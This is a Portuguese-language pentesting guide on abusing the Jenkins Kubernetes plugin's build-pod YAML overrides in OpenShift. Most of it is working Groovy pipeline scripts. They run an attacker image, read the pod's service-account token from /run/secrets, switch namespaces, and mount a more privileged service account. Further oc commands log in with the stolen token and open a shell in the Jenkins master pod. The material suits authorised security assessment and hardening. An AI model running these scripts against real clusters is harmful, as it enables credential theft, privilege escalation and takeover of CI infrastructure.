Jenkins no Openshift - substituições de pod de build

Reading time: 4 minutes

O autor original desta página é Fares

Plugin Kubernetes para Jenkins

Este plugin é principalmente responsável pelas funções principais do Jenkins dentro de um cluster openshift/kubernetes. Documentação oficial aqui Ele oferece algumas funcionalidades, como a capacidade de os desenvolvedores substituírem algumas configurações padrão de um pod de build do jenkins.

Funcionalidade principal

Este plugin permite flexibilidade aos desenvolvedores ao construir seu código em um ambiente adequado.

groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Alguns abusos aproveitando a sobreposição de yaml do pod

No entanto, pode ser abusado para usar qualquer imagem acessível, como Kali Linux, e executar comandos arbitrários usando ferramentas pré-instaladas dessa imagem.
No exemplo abaixo, podemos exfiltrar o token da serviceaccount do pod em execução.

groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Uma sintaxe diferente para alcançar o mesmo objetivo.

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Exemplo para substituir o namespace do pod

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Outro exemplo que tenta montar um serviceaccount (que pode ter mais permissões do que o padrão, executando sua build) com base em seu nome. Você pode precisar adivinhar ou enumerar serviceaccounts existentes primeiro.

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

A mesma técnica se aplica para tentar montar um Secret. O objetivo final aqui seria descobrir como configurar a construção do seu pod para efetivamente pivotar ou ganhar privilégios.

Indo mais longe

Uma vez que você se acostume a brincar com isso, use seu conhecimento sobre Jenkins e Kubernetes/Openshift para encontrar configurações incorretas / abusos.

Pergunte a si mesmo as seguintes questões:

  • Qual conta de serviço está sendo usada para implantar pods de construção?
  • Quais papéis e permissões ela possui? Pode ler secrets do namespace em que estou atualmente?
  • Posso enumerar outros pods de construção?
  • A partir de um sa comprometido, posso executar comandos no nó/pod mestre?
  • Posso enumerar mais o cluster para pivotar para outro lugar?
  • Qual SCC está aplicada?

Você pode descobrir quais comandos oc/kubectl emitir aqui e aqui.

Possíveis cenários de privesc/pivoting

Vamos supor que durante sua avaliação você descobriu que todas as construções do jenkins são executadas dentro de um namespace chamado worker-ns. Você descobriu que uma conta de serviço padrão chamada default-sa está montada nos pods de construção, no entanto, ela não possui muitas permissões, exceto acesso de leitura em alguns recursos, mas você conseguiu identificar uma conta de serviço existente chamada master-sa. Vamos também supor que você tenha o comando oc instalado dentro do contêiner de construção em execução.

Com o script de construção abaixo, você pode assumir o controle da conta de serviço master-sa e enumerar mais.

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

Dependendo do seu acesso, você precisa continuar seu ataque a partir do script de build ou pode fazer login diretamente como este sa no cluster em execução:

bash
oc login --token=$token --server=https://apiserver.com:port

Se este sa tiver permissões suficientes (como pod/exec), você também pode assumir o controle de toda a instância do jenkins executando comandos dentro do pod do nó master, se estiver sendo executado dentro do mesmo namespace. Você pode identificar facilmente este pod pelo seu nome e pelo fato de que ele deve estar montando um PVC (persistent volume claim) usado para armazenar dados do jenkins.

bash
oc rsh pod_name -c container_name

Caso o pod do nó mestre não esteja em execução dentro do mesmo namespace que os trabalhadores, você pode tentar ataques semelhantes direcionando o namespace mestre. Vamos supor que ele se chama jenkins-master. Lembre-se de que a serviceAccount master-sa precisa existir no namespace jenkins-master (e pode não existir no namespace worker-ns).